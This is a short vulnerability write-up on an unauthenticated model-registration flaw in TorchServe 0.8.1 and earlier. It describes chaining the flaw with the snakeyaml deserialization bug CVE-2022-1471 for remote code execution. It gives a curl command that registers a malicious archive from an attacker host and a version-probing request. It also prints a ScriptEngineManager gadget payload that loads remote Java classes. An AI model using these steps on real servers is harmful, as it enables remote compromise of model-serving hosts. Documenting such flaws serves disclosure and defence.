TorchServer allows models to be registered from any HTTP server that the server can access. A remote, unauthenticated attacker can leverage this to register arbitrary model archives with the server using the register-a-model API.

This API can be invoked using cURL:

curl --location --request POST 'http://localhost:8081/models?url=http%3A%2F%2Fattackerip%3A8000%2Fmalicious.mar'

If the registration is successful, the model will need to be unregistered before it can be registered again.

This API can be invoked using cURL as well:

curl --location --request DELETE 'http://localhost:8081/models/malicious/1.0'

TorchServer version 0.8.1 and previous are vulnerable. This vulnerability was patched in 0.8.2. A remote user can invoke the api-description endpoint to determine the target version.

[smcintyre@localhost ~]$ curl --location --request OPTIONS 'http://localhost:8081' | jq '.info'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 58576  100 58576    0     0  16.8M      0 --:--:-- --:--:-- --:--:-- 18.6M
{
  "title": "TorchServe APIs",
  "description": "TorchServe is a flexible and easy to use tool for serving deep learning models",
  "version": "0.8.1"
}

Exploitation With CVE-2022-1471

This vulnerability is notably more valuable when combined with CVE-2022-1471. In this case, the model archive (MAR file, .mar) can contain a YAML configuration file that is capable of triggering remote code execution through a vulnerable version of the snakeyaml library. An attacker would construct the MAR file (which is a structured ZIP file) with a MAR-INFO/MANIFEST.json that references a configuration file through the model.configFile key. In the case of TorchServer 0.8.1, the ScriptEngineManager gadget chain is effective. The ScriptEngineManager has the advantage over other LDAP-based chains due to being HTTP-based. This means the TorchServer only needs to have access to one service from which it can retrieve the MAR file as well as the Java payload classes as opposed to requiring access to both an HTTP and LDAP service.

The serialized config file would look like the following where $payload_url is the URL to where the Java class files are stored.

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["$payload_url"]]]]

When using this chain it is also necessary to host a services/javax.script.ScriptEngineFactory file which contains the name of the payload class to load. When using this gadget chain, the payload class must implement javax.script.ScriptEngineFactory. See SnakeYaml Deserilization exploited (2019) for more information.

The ResourceGadget, C3P0WrapperConnPool and BadAttributeValueExpException gadget chains do not work against TorchServer 0.8.1, making the ScriptEngineManager chain the only HTTP-based one to work from this comment in snakeyaml’s issue tracker.